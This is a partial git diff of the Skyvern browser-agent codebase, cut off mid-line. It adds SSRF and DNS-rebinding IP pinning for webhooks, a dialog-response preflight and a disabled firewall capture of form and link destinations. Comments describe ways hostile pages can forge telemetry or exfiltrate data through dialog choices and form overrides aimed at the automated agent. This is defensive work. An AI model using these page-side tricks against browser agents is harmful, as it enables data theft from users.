(+ pinability == "shapeless_valid"+ and slot.plane.value == "run"+ and minted_output_path is not None+ and not _minted_path_has_typed_child(minted_output_path, sibling_output_paths)+ and not _has_boolean_output_signal(criterion)+ and not neutral_boolean_candidate+ and not malformed_shapeless_boolean+ and not assertive_shapeless_boolean+ and antecedent_family in {"unconditional", "blocker"}+ )++ rekeyed = degraded or (pinability == "shapeless_valid" and not minted_requested_output)expected_output_value = criterion.expected_output_valueexpected_output_shape = criterion.expected_output_shape@@ -2103,6 +2141,8 @@ def _bind_criterion_to_request_slot(expected_output_shape = Noneexpected_classification = Nonejudgment_truth_condition = None+ if minted_requested_output:+ expected_output_shape = "value_present"if malformed_shapeless_boolean:requested_output_evidence_source = "runtime_output"classification_output_key = None@@ -2119,6 +2159,11 @@ def _bind_criterion_to_request_slot(kind = "outcome"classification_output_key = Noneoutput_path = None if rekeyed else criterion.output_path+ if minted_requested_output:+ kind = "outcome"+ classification_output_key = None+ if output_path is None:+ output_path = minted_output_pathif neutral_boolean_key is not None:original_output_path = f"output.{neutral_boolean_key}"requested_output_floor_rekeyed = rekeyed and neutral_boolean_key is None and original_output_path is not None@@ -2144,6 +2189,12 @@ def _bind_criterion_to_request_slot(requested_output_evidence_source=criterion.requested_output_evidence_source,outcome=(criterion.outcome or source_quote or "")[:80],)+ if minted_requested_output:+ LOG.info(+ "copilot_request_slot_criterion_minted_requested_output",+ slot_id=slot.slot_id,+ output_path=output_path,+ )return replace(criterion,id=slot.slot_id,@@ -2184,7 +2235,9 @@ def _parse_fresh_request_slot_criteria(trusted_bindings_by_slot_id.setdefault(binding.slot_id, []).append(binding)bound_by_slot_id: dict[str, CompletionCriterion] = {}non_slot_criteria: list[CompletionCriterion] = []- for item, criterion in _parse_completion_criterion_entries(raw):+ entries = list(_parse_completion_criterion_entries(raw))+ sibling_output_paths = frozenset(criterion.output_path for _item, criterion in entries if criterion.output_path)+ for item, criterion in entries:criterion_index = criterion_index_by_item_id[id(item)]anchor = _request_slot_anchor(item)slot = (@@ -2225,6 +2278,7 @@ def _parse_fresh_request_slot_criteria(criterion,slot=slot,source_quote=anchor[1],+ sibling_output_paths=sibling_output_paths,)for slot in request_slot_contract.slots:@@ -2241,6 +2295,7 @@ def _parse_fresh_request_slot_criteria(slot=slot,source_quote=source_quote,allow_canonical_path_fallback=False,+ sibling_output_paths=sibling_output_paths,)return ([bound_by_slot_id[slot.slot_id] for slot in request_slot_contract.slots] + non_slot_criteria)[:_MAX_COMPLETION_CRITERIA@@ -2377,6 +2432,11 @@ def _parse_completion_criterion_entries(item.get("expected_output_value"))expected_output_shape = _coerce_expected_output_shape(item.get("expected_output_shape"))+ if expected_output_shape == "value_present":+ # value_present is minted by the policy only (see _bind_criterion_to_request_slot); a+ # classifier-supplied one on a pinned slot would be credited by presence and bypass the+ # exact-value bar. Drop it here so only the mint can set it.+ expected_output_shape = Nonerequested_output_evidence_source = _coerce_requested_output_evidence_source(item.get("requested_output_evidence_source"))@@ -2954,6 +3014,9 @@ def _requested_output_mint_state() -> tuple[MintDisposition, MintDegrade | None]:if isinstance(expected_value, bool) or expected_shape == "goal_judgment_boolean" or judgment_condition is not None:return "pending", None+ if expected_shape == "value_present":+ # A minted single-value extraction is decidable by presence, not an undecidable judgment.+ return "decidable", Noneif expected_shape == "status_label" or (expected_value is None and expected_shape is not None):return "degraded", "undecidable_judgment"return "decidable", Nonediff --git a/skyvern/forge/sdk/core/skyvern_context.py b/skyvern/forge/sdk/core/skyvern_context.pyindex 78ccdfbd9..54c95653a 100644--- a/skyvern/forge/sdk/core/skyvern_context.py+++ b/skyvern/forge/sdk/core/skyvern_context.py@@ -17,7 +17,7 @@ if TYPE_CHECKING:from playwright.async_api import FileChooser, Frame, Pagefrom skyvern.forge.sdk.browser_action_policy import BrowserActionPolicy, RuntimeOriginAuthority- from skyvern.forge.sdk.browser_action_preflight import ObservationEpoch+ from skyvern.forge.sdk.browser_action_preflight import ObservationEpoch, ObservedTabsfrom skyvern.forge.sdk.db.enums import WorkflowRunTriggerType# Deferred import: skyvern_context.py sits below the service layer and@@ -261,6 +261,11 @@ class SkyvernContext:# the epoch they were planned under so an observation cannot vouch for a plan built before it.browser_observation_epoch: ObservationEpoch | None = None+ # The open-tab list exactly as the planner's prompt rendered it, bound to the epoch it was+ # rendered under (SKY-12875). A SwitchTabAction's tab_index resolves against this record and+ # nothing else; no record, or a record from another epoch, resolves nothing.+ browser_observed_tabs: ObservedTabs | None = None+def set_enrich_tree_mode(self, mode: Any) -> None:self.enrich_tree_mode = parse_enrich_tree_mode(mode)diff --git a/skyvern/forge/sdk/db/repositories/otp.py b/skyvern/forge/sdk/db/repositories/otp.pyindex f75b96bf9..d82478d3c 100644--- a/skyvern/forge/sdk/db/repositories/otp.py+++ b/skyvern/forge/sdk/db/repositories/otp.py@@ -150,9 +150,11 @@ class OTPRepository(BaseRepository):totp_identifier=totp_identifier,content=content,code=code,- task_id=task_id,- workflow_id=workflow_id,- workflow_run_id=workflow_run_id,+ # These columns are FKs: a blank string from an API caller is "not set",+ # but only NULL satisfies the constraint.+ task_id=task_id or None,+ workflow_id=workflow_id or None,+ workflow_run_id=workflow_run_id or None,source=source,expired_at=expired_at,otp_type=otp_type,diff --git a/skyvern/forge/sdk/routes/webhooks.py b/skyvern/forge/sdk/routes/webhooks.pyindex d1a5102ab..a1d108dc6 100644--- a/skyvern/forge/sdk/routes/webhooks.py+++ b/skyvern/forge/sdk/routes/webhooks.py@@ -1,3 +1,4 @@+import asynciofrom time import perf_counterimport httpx@@ -32,7 +33,7 @@ from skyvern.services.webhook_service import (build_sample_workflow_run_payload,replay_run_webhook,)-from skyvern.utils.url_validators import validate_url+from skyvern.utils.url_validators import pinned_ip_client, validate_fetch_url_with_resolved_ipsLOG = structlog.get_logger()@@ -70,24 +71,15 @@ async def test_webhook(# Validate the URL (raises BlockedHost or SkyvernHTTPException for invalid URLs)try:- validated_url = validate_url(request.webhook_url)- if not validated_url:- return TestWebhookResponse(- status_code=None,- latency_ms=0,- response_body="",- headers_sent={},- error="Invalid webhook URL",- )+ validated_url, resolved_ips = await asyncio.to_thread(validate_fetch_url_with_resolved_ips, request.webhook_url)except BlockedHost as exc:- blocked_host: str | None = getattr(exc, "host", None)return TestWebhookResponse(status_code=None,latency_ms=0,response_body="",headers_sent={},error=(- f"This URL is blocked by SSRF protection (host: {blocked_host or 'unknown'}). "+ f"{exc} It is either blocked by SSRF protection or could not be resolved. ""Add the host to ALLOWED_HOSTS to test internal endpoints or use an external receiver ""such as webhook.site or requestbin.com."),@@ -143,7 +135,7 @@ async def test_webhook(error = Nonetry:- async with httpx.AsyncClient() as client:+ async with pinned_ip_client(resolved_ips) as client:response = await client.post(validated_url,content=signed_data.signed_payload,diff --git a/skyvern/forge/sdk/workflow/service.py b/skyvern/forge/sdk/workflow/service.pyindex f239f5197..c94d665cc 100644--- a/skyvern/forge/sdk/workflow/service.py+++ b/skyvern/forge/sdk/workflow/service.py@@ -4,6 +4,7 @@ import importlib.utilimport jsonimport osimport random+import reimport shutilimport sysimport textwrap@@ -582,6 +583,16 @@ def _resolve_first_block_url(return None+_RUN_SIGNATURE_CACHE_KEY_RE = re.compile(r"""cache_key\s*=\s*(['"])(?P<key>.+?)\1""")+++def _run_signature_cache_key(run_signature: str | None) -> str | None:+ if not run_signature:+ return None+ match = _RUN_SIGNATURE_CACHE_KEY_RE.search(run_signature)+ return match.group("key") if match else None++def _truncate_managed_browser_profile_part(value: str, max_length: int) -> str:if len(value) <= max_length:return value@@ -3668,6 +3679,30 @@ class WorkflowService:pinned_ctx = skyvern_context.current()if pinned_ctx:pinned_ctx.is_static_script = True+ # Static (marker) pins re-import the live platform module, so a+ # block persisted against a cached function that module no longer+ # defines would cache-miss and run the agent with the placeholder+ # goal "Static script: <cache_key>" instead of the block's real+ # prompt. Drop those stale blocks so they fall through to a+ # normal agent block, matching how a fresh pin resolves them+ # today. hasattr mirrors ensure_static_script's pin-time check.+ for stale_label in [+ label+ for label, sb in script_blocks_by_label.items()+ if not sb.requires_agent+ and (ck := _run_signature_cache_key(sb.run_signature)) is not None+ and not hasattr(loaded_script_module, ck)+ ]:+ LOG.info(+ "Dropping stale static-script block; cached function no "+ "longer exists, block will run via agent",+ block_label=stale_label,+ cache_key=_run_signature_cache_key(+ script_blocks_by_label[stale_label].run_signature+ ),+ script_id=script.script_id,+ )+ del script_blocks_by_label[stale_label]LOG.info("Successfully loaded script module",sampling=True,diff --git a/skyvern/services/webhook_service.py b/skyvern/services/webhook_service.pyindex 7655cb0e2..80ee80089 100644--- a/skyvern/services/webhook_service.py+++ b/skyvern/services/webhook_service.py@@ -1,5 +1,6 @@from __future__ import annotations+import asyncioimport jsonfrom dataclasses import dataclassfrom datetime import datetime, timezone@@ -40,7 +41,7 @@ from skyvern.schemas.runs import ()from skyvern.schemas.webhooks import RunWebhookPreviewResponse, RunWebhookReplayResponsefrom skyvern.services import run_service, task_v2_service-from skyvern.utils.url_validators import validate_url+from skyvern.utils.url_validators import validate_fetch_url_with_resolved_ipsLOG = structlog.get_logger()@@ -247,7 +248,7 @@ async def replay_run_webhook(if not url_to_use:raise MissingWebhookTarget()- validated_url = _validate_target_url(url_to_use)+ validated_url, resolved_ips = await _validate_target_url(url_to_use)status_code, latency_ms, response_body, error = await _deliver_webhook(url=validated_url,@@ -255,6 +256,7 @@ async def replay_run_webhook(headers=signed_data.headers,organization_id=organization_id,run_id=run_id,+ resolved_ips=resolved_ips,)return RunWebhookReplayResponse(@@ -477,6 +479,7 @@ async def _deliver_webhook(headers: dict[str, str],organization_id: str | None = None,run_id: str | None = None,+ resolved_ips: tuple[str, ...] | None = None,) -> tuple[int | None, int, str | None, str | None]:start = perf_counter()status_code: int | None = None@@ -491,6 +494,7 @@ async def _deliver_webhook(timeout_seconds=60.0,organization_id=organization_id,run_id=run_id,+ resolved_ips=resolved_ips,)status_code = response.status_codebody_text = response.text or ""@@ -520,17 +524,14 @@ def _as_run_type_str(run_type: RunType | str | None) -> str:return "unknown"-def _validate_target_url(url: str) -> str:+async def _validate_target_url(url: str) -> tuple[str, tuple[str, ...]]:url = url.strip()try:- validated_url = validate_url(url)- if not validated_url:- raise SkyvernHTTPException("Invalid webhook URL.", status_code=status.HTTP_400_BAD_REQUEST)- return validated_url+ return await asyncio.to_thread(validate_fetch_url_with_resolved_ips, url)except BlockedHost as exc:raise SkyvernHTTPException(message=(- f"This URL is blocked by SSRF protection. {str(exc)} "+ f"{str(exc)} It is either blocked by SSRF protection or could not be resolved. ""Add the host to ALLOWED_HOSTS to test internal endpoints or use an external receiver ""such as webhook.site or requestbin.com."),diff --git a/skyvern/utils/url_validators.py b/skyvern/utils/url_validators.pyindex 6ebc8f813..3d92ad240 100644--- a/skyvern/utils/url_validators.py+++ b/skyvern/utils/url_validators.py@@ -1,8 +1,10 @@import ipaddressimport socketfrom http import HTTPStatus+from typing import Anyfrom urllib.parse import quote, urljoin, urlparse, urlsplit, urlunsplit+import httpxfrom pydantic import HttpUrl, ValidationErrorfrom skyvern.config import settings@@ -260,6 +262,43 @@ def validate_redirect_url(url: str, location: str) -> str:return validate_redirect_url_with_resolved_ips(url, location)[0]+class _PinnedIPTransport(httpx.AsyncHTTPTransport):+ """Connect only to already-validated IPs, keeping SNI, Host, and cert verification on the hostname.++ httpx resolves again at connect time, so a rebinding host can answer with a private+ address after validation passed. Addresses are tried in resolution order so a host+ whose first address is unreachable still behaves like an unpinned client.+ """++ def __init__(self, resolved_ips: tuple[str, ...], **kwargs: Any) -> None:+ super().__init__(**kwargs)+ self._resolved_ips = resolved_ips++ async def handle_async_request(self, request: httpx.Request) -> httpx.Response:+ original_url = request.url+ request.extensions = {**request.extensions, "sni_hostname": original_url.host}+ last_index = len(self._resolved_ips) - 1+ for index, ip in enumerate(self._resolved_ips):+ request.url = original_url.copy_with(host=ip)+ try:+ return await super().handle_async_request(request)+ except (httpx.ConnectError, httpx.ConnectTimeout):+ if index == last_index:+ raise+ raise httpx.ConnectError(f"No validated address for {original_url.host} could be reached")+++def pinned_ip_client(resolved_ips: tuple[str, ...] | None, **kwargs: Any) -> httpx.AsyncClient:+ """Client pinned to the IPs a caller already validated, so DNS cannot be re-answered at connect time.++ Pass the IPs from `validate_fetch_url_with_resolved_ips`. Without them this is a plain+ client with no rebinding protection.+ """+ if not resolved_ips:+ return httpx.AsyncClient(**kwargs)+ return httpx.AsyncClient(transport=_PinnedIPTransport(resolved_ips), **kwargs)++def encode_url(url: str) -> str:parts = list(urlsplit(url))# Encode the path while preserving "/" and "%"diff --git a/skyvern/webeye/actions/actions.py b/skyvern/webeye/actions/actions.pyindex 5c9c2d6f8..51f96cfcd 100644--- a/skyvern/webeye/actions/actions.py+++ b/skyvern/webeye/actions/actions.py@@ -166,6 +166,11 @@ class Action(BaseModel):# batched action would clobber an in-action combobox selection.stop_batch_after_dropdown_select: bool = Field(default=False, exclude=True)+ # Transient (never serialized): opts an INPUT_TEXT into the type-to-filter path for a wrapper-marked+ # combobox. Lives on the base Action (like the flags above) because handle_input_text_action runs with+ # hydrated/replayed base Action objects, not only InputTextAction — reading it must never raise.+ prefilter_typeahead: bool = Field(default=False, exclude=True)+# Transient (never serialized): the observation epoch this action was planned under (SKY-12874).# It must not reach the database — an epoch is run-local, so a value read back from a stored row# could collide with a live run's counter and make a stale action look freshly observed.diff --git a/skyvern/webeye/actions/handler.py b/skyvern/webeye/actions/handler.pyindex 9e460647e..d5475d378 100644--- a/skyvern/webeye/actions/handler.py+++ b/skyvern/webeye/actions/handler.py@@ -4104,6 +4104,12 @@ async def handle_input_text_action(incremental_element: list[dict] = []auto_complete_hacky_flag: bool = False+ # Set when the typeahead prefilter (below) types the target into the field. If that pre-input+ # selection does not commit, the terminal fill must clear first so the typed-but-uncommitted value+ # is not doubled. `prefilter_attempted` stays set even when the typing raises mid-dispatch (leaving a+ # dirty prefix), so the terminal clear still fires on the ArrowDown fall-through path.+ prefilter_typeahead: bool = False+ prefilter_attempted: bool = Falseinput_or_select_context = await _get_input_or_select_context(action=action,@@ -4155,15 +4161,33 @@ async def handle_input_text_action(element_id=skyvern_element.get_id(),)- try:- await skyvern_element.press_key("ArrowDown")- except TimeoutError:- # sometimes we notice `press_key()` raise a timeout but actually the dropdown is opened.- LOG.info(- "Timeout to press ArrowDown to open dropdown, ignore the timeout and continue to execute the action",- element_id=skyvern_element.get_id(),- action=action,- )+ # When the deployment's Setup flagged this action (a wrapper-marked typeahead), type the target to+ # filter the listbox before matching instead of the unfiltered ArrowDown probe. Fall back to the+ # ArrowDown probe when the flag is off, the text is empty/date-related, or the prefilter typing fails.+ prefilter_typeahead = bool(text) and not input_or_select_context.is_date_related and action.prefilter_typeahead+ if prefilter_typeahead:+ # Mark before typing: a mid-dispatch failure can leave a dirty prefix, and the terminal clear+ # gate must still fire even after prefilter_typeahead is reset for the ArrowDown fall-through.+ prefilter_attempted = True+ try:+ await skyvern_element.input_sequentially(text)+ except Exception:+ LOG.info(+ "Failed to pre-filter typeahead combobox by typing the target, falling back to ArrowDown probe",+ element_id=skyvern_element.get_id(),+ )+ prefilter_typeahead = False++ if not prefilter_typeahead:+ try:+ await skyvern_element.press_key("ArrowDown")+ except TimeoutError:+ # sometimes we notice `press_key()` raise a timeout but actually the dropdown is opened.+ LOG.info(+ "Timeout to press ArrowDown to open dropdown, ignore the timeout and continue to execute the action",+ element_id=skyvern_element.get_id(),+ action=action,+ )wait_sec = 0if has_onclick_attr:@@ -4343,7 +4367,9 @@ async def handle_input_text_action(# 1.1. the element has a value attribute# 1.2. the element is not editable and not common input tagif not await skyvern_element.is_spinbtn_input() and (- current_text or (not await skyvern_element.is_editable() and tag_name not in COMMON_INPUT_TAGS)+ current_text+ or prefilter_attempted+ or (not await skyvern_element.is_editable() and tag_name not in COMMON_INPUT_TAGS)):is_date_related = input_or_select_context is not None and input_or_select_context.is_date_related is Truetry:diff --git a/skyvern/webeye/dialog_handler.py b/skyvern/webeye/dialog_handler.pyindex 8b63cb0cf..4a59fd8de 100644--- a/skyvern/webeye/dialog_handler.py+++ b/skyvern/webeye/dialog_handler.py@@ -1,6 +1,7 @@from __future__ import annotationsimport asyncio+import functoolsimport jsonimport weakref@@ -10,6 +11,7 @@ from playwright.async_api import BrowserContext, Dialog, Pagefrom skyvern.constants import DIALOG_LLM_TIMEOUTfrom skyvern.forge import appfrom skyvern.forge.prompts import prompt_engine+from skyvern.forge.sdk.browser_action_preflight import preflight_dialog_responsefrom skyvern.forge.sdk.core import skyvern_contextLOG = structlog.get_logger()@@ -17,15 +19,28 @@ LOG = structlog.get_logger()# Track contexts that already have a dialog handler to avoid duplicate registration# when the same BrowserContext is returned by CDP reconnect paths._registered_contexts: weakref.WeakSet[BrowserContext] = weakref.WeakSet()+# Per-page guard: the bare _handle_dialog used to dedupe by listener identity in pyee, which a+# fresh functools.partial per registration no longer provides. A double-registered page would+# answer one dialog twice ("already handled") and pay a duplicate LLM round-trip.+_registered_pages: weakref.WeakSet[Page] = weakref.WeakSet()-async def _handle_dialog(dialog: Dialog) -> None:+async def _handle_dialog(dialog: Dialog, page: Page | None = None) -> None:"""Handle a JavaScript dialog (alert/confirm/prompt/beforeunload) using LLM-based decision making.For alert and beforeunload dialogs, always accepts without calling the LLM.For confirm/prompt dialogs with no task context, auto-accepts (no LLM round-trip needed).For confirm/prompt dialogs with task context, calls the secondary LLM handler to decide.Falls back to accept on any error (safer than dismiss for form submissions).++ ``page`` is the page this handler was registered on — the dialog's originating page. Every+ response this handler gives except an alert's (which has no alternative) routes through+ ``_respond`` so the observe-only preflight (SKY-12875) sees all of them — accepts AND+ dismissals, because a page can branch on the choice; the result is discarded and never+ changes the response. The one other dialog listener in this tree, the CLI inspection handler+ in skyvern/cli/mcp_tools/inspection.py, dismisses — a capability — and is out of scope only+ because CLI sessions carry no enrolled SkyvernContext, so the preflight no-ops there; that+ claim is probed, and the listener set is pinned by test."""dialog_type = dialog.typedialog_message = dialog.message@@ -55,15 +70,34 @@ async def _handle_dialog(dialog: Dialog) -> None:except Exception:log.exception("Failed to record dialog message into context")- # Alert, beforeunload, or no task context — auto-accept without LLM call- if dialog_type in ("alert", "beforeunload"):+ # THE ONE CHOKE POINT for answering a dialog: the observe-only preflight sees every response+ # this handler ever gives, and its result is discarded — the answer must be identical whether+ # the policy observes or not. Only alert stays outside: with a single possible response there+ # is no choice, and THE CHOICE IS THE CAPABILITY (a page can branch on accept vs dismiss —+ # a real-Chromium probe fired an exfil POST specifically on dismiss).+ async def _respond(response: str, prompt_text: str | None = None) -> None:+ preflight_dialog_response(page, dialog_type=dialog_type, response=response, site="dialog_handler")+ if response == "dismiss":+ await dialog.dismiss()+ elif prompt_text is None:+ await dialog.accept()+ else:+ await dialog.accept(prompt_text)++ # Alert (no choice to preflight) auto-accepts directly; beforeunload accept commits a pending+ # navigation, so its acceptance goes through the choke point.+ if dialog_type == "alert":log.info("Dialog auto-accepted", dialog_type=dialog_type)await dialog.accept()return+ if dialog_type == "beforeunload":+ log.info("Dialog auto-accepted", dialog_type=dialog_type)+ await _respond("accept")+ returnif not navigation_goal and not navigation_payload:log.info("Dialog auto-accepted (no task context)", dialog_type=dialog_type)- await dialog.accept(default_value or "")+ await _respond("accept", default_value or "")return# For confirm/prompt with task context, call LLM to decide@@ -102,17 +136,17 @@ async def _handle_dialog(dialog: Dialog) -> None:)if action == "dismiss":- await dialog.dismiss()+ await _respond("dismiss")else:- await dialog.accept(prompt_text if prompt_text is not None else (default_value or ""))+ await _respond("accept", prompt_text if prompt_text is not None else (default_value or ""))except asyncio.TimeoutError:log.warning("Dialog LLM call timed out, falling back to accept")- await dialog.accept(default_value or "")+ await _respond("accept", default_value or "")except Exception:log.exception("Dialog handler error, falling back to accept")- await dialog.accept(default_value or "")+ await _respond("accept", default_value or "")def set_dialog_handler(browser_context: BrowserContext) -> None:@@ -125,15 +159,21 @@ def set_dialog_handler(browser_context: BrowserContext) -> None:Uses a WeakSet to skip registration if the same BrowserContext isreturned again (e.g., CDP reconnect reusing contexts[0]).- Playwright-Python schedules async callbacks as tasks internally,- so registering _handle_dialog directly is GC-safe.+ Playwright-Python schedules async callbacks as tasks internally, so a+ coroutine-returning listener is GC-safe. The partial binds the page the+ listener was registered on — the dialog's originating page — which is what+ the acceptance preflight (SKY-12875) evaluates; the page's listener list+ holds the partial, and that cycle is ordinary collectable garbage."""if browser_context in _registered_contexts:return_registered_contexts.add(browser_context)def _on_page(page: Page) -> None:- page.on("dialog", _handle_dialog)+ if page in _registered_pages:+ return+ _registered_pages.add(page)+ page.on("dialog", functools.partial(_handle_dialog, page=page))# Register on pages that already existfor page in browser_context.pages:diff --git a/skyvern/webeye/scraper/domUtils.js b/skyvern/webeye/scraper/domUtils.jsindex a3b3dbe1c..198c44e5a 100644--- a/skyvern/webeye/scraper/domUtils.js+++ b/skyvern/webeye/scraper/domUtils.js@@ -1738,6 +1738,145 @@ function enrichValidationState(attrs, element, elementTagNameLower) {}}+// Destination-fact capture state (SKY-12875): OFF by default, switched on per build by+// buildTreeFromBody only when the browser action policy is observing. Incremental builds,+// single-element parses and tree-from-element never enable it.+var __captureDestinationFacts = false;+var __destinationFactBudget = 0;++// Serialized overhead of one attached fact ({"kind":...,"url":null,"method":"get"} plus its+// element-id key). Charging only url.length let 15,000 url-less facts through for 615,000 bytes:+// an opaque fact is cheap, not free, and the budget bounds the PAYLOAD, not one field of it.+const DESTINATION_FACT_OVERHEAD = 56;++// Charge one fact against the per-build budget, or return null to attach nothing. Exhaustion+// zeroes the budget, which is what stops all further capture WORK in buildElementObject —+// resolution runs before the per-URL cap, so bounding only the output leaves the cost unbounded.+function chargeDestinationBudget(facts) {+ if (!facts) return null;+ const cost =+ DESTINATION_FACT_OVERHEAD ++ (typeof facts.url === "string" ? facts.url.length : 0);+ if (__destinationFactBudget < cost) {+ __destinationFactBudget = 0;+ return null;+ }+ __destinationFactBudget -= cost;+ return facts;+}++function normalizeFormMethod(raw) {+ if (typeof raw !== "string") return "get";+ const method = raw.toLowerCase();+ return method === "post" || method === "dialog" ? method : "get";+}++// Destination facts for the browser action firewall (SKY-12875): where would interacting with+// this element send data? They are captured in the MAIN WORLD and are TAMPERABLE: hostile page+// code can forge or suppress them, so they can be FALSE TELEMETRY. They may DENY or NARROW a+// decision, but must never establish ALLOWED or authorization. Python strips them from element+// dicts at the SkyvernFrame boundary. Malformed, clobbered, or throwing input fails closed:+// null means "no destination structure"; url:null means unresolved; both are INCOMPLETE.+function buildDestinationFacts(element, tagNameLower) {+ // Capture remains deliberately disabled for SKY-12875. Re-enable only after: (1) F3 bounds+ // resolution/serialization work before allocation instead of truncating the post-resolution+ // result (that truncation is the defect, not the fix); (2) the MAIN-WORLD tamperability and+ // cannot-authorize telemetry note has landed; (3) the (beforeunload, dismiss) capability-table+ // gap is closed; and (4) the F5 consequence is load-bearing in with_resolved_target's docstring.+ return null;+ try {+ const doc = element.ownerDocument;+ // Length caps bound the RESOLVED value, not just the raw attribute: 4096 compact raw chars+ // resolve to ~9x that once percent-encoded, and the fact is duplicated into every owned+ // control — an O(controls x resolved-length) amplification. Over-cap degrades to opaque.+ const bounded = (value) =>+ typeof value === "string" && value !== "" && value.length <= 4096+ ? value+ : null;+ // The BASE is capped for cost, not just the result: resolving a short relative href against a+ // page-controlled 1MB <base> builds a 1MB string per element before any cap can reject it.+ const baseURI =+ doc && typeof doc.baseURI === "string" ? bounded(doc.baseURI) : null;+ const resolve = (raw) => {+ if (bounded(raw) === null) return null;+ try {+ return bounded(+ baseURI ? new URL(raw, baseURI).href : new URL(raw).href,+ );+ } catch (e) {+ return null;+ }+ };+ if (tagNameLower === "a" || tagNameLower === "area") {+ const rawHref = element.getAttribute("href");+ if (rawHref === null) return null;+ if (element.getAttribute("ping")) {+ // ping= sends POST beacons to further destinations on activation; one URL cannot+ // represent where the click sends data, so the anchor is opaque, not partially safe.+ return { kind: "anchor", url: null };+ }+ return { kind: "anchor", url: resolve(rawHref) };+ }+ // element.form is the EFFECTIVE owner per spec: a form= attribute override wins, an invalid+ // form= id means no owner (not the ancestor), and a hidden ancestor form still owns.+ const form = element.form;+ if (!form || typeof form.getAttribute !== "function") {+ // Covers no owner AND a clobbered form: HTMLFormElement's named getter is+ // [LegacyOverrideBuiltIns], so <input name=getAttribute> shadows the method itself.+ return null;+ }+ const controlType = (element.getAttribute("type") || "").toLowerCase();+ if (controlType === "button" || controlType === "reset") {+ // A non-submitting click control stages no data and never submits: its activation is+ // arbitrary script, and an ancestor form must not lend it a known destination. The same+ // control outside a form is opaque; inside one it must classify the same way.+ return null;+ }+ const documentUrl = () =>+ doc && typeof doc.URL === "string" ? bounded(doc.URL) : null;+ // "Empty" means empty AFTER the URL parser's leading/trailing strip, which is the C0-control+ // and space set — NOT String.trim(), which also eats U+00A0 and would over-strip. A+ // whitespace-only action submits to the DOCUMENT URL; resolving it instead resolves against+ // <base>, which real Chromium contradicted across origins.+ const isBlankUrl = (value) =>+ value.replace(/^[\u0000-\u0020]+|[\u0000-\u0020]+$/g, "") === "";+ const rawAction = form.getAttribute("action");+ // Per spec a missing or empty action attribute submits to the document's own URL.+ let url;+ if (rawAction === null || isBlankUrl(rawAction)) {+ url = documentUrl();+ } else {+ url = resolve(rawAction);+ }+ let method = normalizeFormMethod(form.getAttribute("method"));+ // Enumerated-attribute normalization: an INVALID button type defaults to "submit" (only+ // "button" and "reset" opt out, and both returned opaque above), while an invalid input type+ // defaults to "text". Treating a garbage-typed button as non-submit would record the owner+ // form's action while the browser submits to the button's hostile formaction — a fail-open.+ const isSubmitter =+ tagNameLower === "button" ||+ (tagNameLower === "input" &&+ (controlType === "submit" || controlType === "image"));+ if (isSubmitter) {+ // A PRESENT-but-blank override still overrides (F6/L1): Chromium submits formaction="" AND+ // formaction=" " to the DOCUMENT URL and normalizes formmethod="" to GET. Treating blank+ // as absent recorded the owner form's action+method while the browser went elsewhere — the+ // invalid-button-type fail-open's sibling.+ const formAction = element.getAttribute("formaction");+ if (formAction !== null) {+ url = isBlankUrl(formAction) ? documentUrl() : resolve(formAction);+ }+ const formMethod = element.getAttribute("formmethod");+ if (formMethod !== null) {+ method = normalizeFormMethod(formMethod);+ }+ }+ return { kind: "form", url: url, method: method };+ } catch (e) {+ return null;+ }+}+async function buildElementObject(frame,element,@@ -1905,6 +2044,20 @@ async function buildElementObject(elementObj.attributes["selected"] = selectedValue;}+ // The budget is checked BEFORE building: buildDestinationFacts resolves URLs, and resolution+ // is the expensive half. Exhaustion zeroes the budget, so every later element in this build+ // skips the call entirely instead of resolving and then being discarded. Over budget the fact+ // is DROPPED, not nulled — an element with no fact is INCOMPLETE downstream, so this fails+ // closed rather than fails large.+ if (__captureDestinationFacts && __destinationFactBudget > 0) {+ const destinationFacts = chargeDestinationBudget(+ buildDestinationFacts(element, elementTagNameLower),+ );+ if (destinationFacts) {+ elementObj.destination = destinationFacts;+ }+ }+return elementObj;}@@ -1913,6 +2066,7 @@ async function buildTreeFromBody(frame = "main.frame",frame_index = undefined,must_included_tags = [],+ captureDestinationFacts = false,) {if (window.GlobalSkyvernFrameIndex === undefined &&@@ -1920,17 +2074,29 @@ async function buildTreeFromBody() {window.GlobalSkyvernFrameIndex = frame_index;}- const maxElementNumber = 15000;- const elementsAndResultArray = await buildElementTree(- document.documentElement,- frame,- false,- undefined,- maxElementNumber,- must_included_tags,- );- DomUtils.elementListCache = elementsAndResultArray[0];- return elementsAndResultArray;+ // Destination-fact capture (SKY-12875) runs ONLY when the caller opts in: for a page that has+ // not interposed on this global, a disabled-mode build does zero capture work — no attribute+ // reads, no URL resolution, no fact allocation. A page CAN still reach this argument by+ // redefining the global between injection and the call (the export itself is no longer+ // hijackable via a setter), so the per-build budget is the load-bearing bound rather than the+ // flag: it caps total serialized fact bytes AND stops resolution once exhausted.+ __captureDestinationFacts = captureDestinationFacts === true;+ __destinationFactBudget = 524288;+ try {+ const maxElementNumber = 15000;+ const elementsAndResultArray = await buildElementTree(+ document.documentElement,+ frame,+ false,+ undefined,+ maxElementNumber,+ must_included_tags,+ );+ DomUtils.elementListCache = elementsAndResultArray[0];+ return elementsAndResultArray;+ } finally {+ __captureDestinationFacts = false;+ }}async function buildElementTree(diff --git a/skyvern/webeye/scraper/scraper.py b/skyvern/webeye/scraper/scraper.pyindex 2d8897d2c..ac2daad56 100644--- a/skyvern/webeye/scraper/scraper.py+++ b/skyvern/webeye/scraper/scraper.py@@ -467,13 +467,15 @@ async def scrape_web_unsafe(LOG.info(f"Waiting for {wait_seconds} seconds before scraping the website.", wait_seconds=wait_seconds)await asyncio.sleep(wait_seconds)- elements, element_tree = await get_interactable_element_tree(page, scrape_exclude, must_included_tags)+ elements, element_tree, destinations = await get_interactable_element_tree(page, scrape_exclude, must_included_tags)empty_page_retry = Falseif not elements and not support_empty_page:LOG.warning("No elements found on the page, wait and retry")await empty_page_retry_wait()empty_page_retry = True- elements, element_tree = await get_interactable_element_tree(page, scrape_exclude, must_included_tags)+ elements, element_tree, destinations = await get_interactable_element_tree(+ page, scrape_exclude, must_included_tags+ )element_tree = await cleanup_element_tree(page, url, copy.deepcopy(element_tree))element_tree_trimmed = trim_element_tree(copy.deepcopy(element_tree))@@ -570,7 +572,9 @@ async def scrape_web_unsafe(empty_page_retry=empty_page_retry,)- advance_observation_epoch(page, main_frame_url=page.main_frame.url, element_hashes=id_to_element_hash.values())+ advance_observation_epoch(+ page, main_frame_url=page.main_frame.url, element_hashes=id_to_element_hash, destinations=destinations+ )return ScrapedPage(elements=elements,@@ -646,6 +650,7 @@ async def add_frame_interactable_elements(frame_index: int,elements: list[dict],element_tree: list[dict],+ destinations: dict[str, 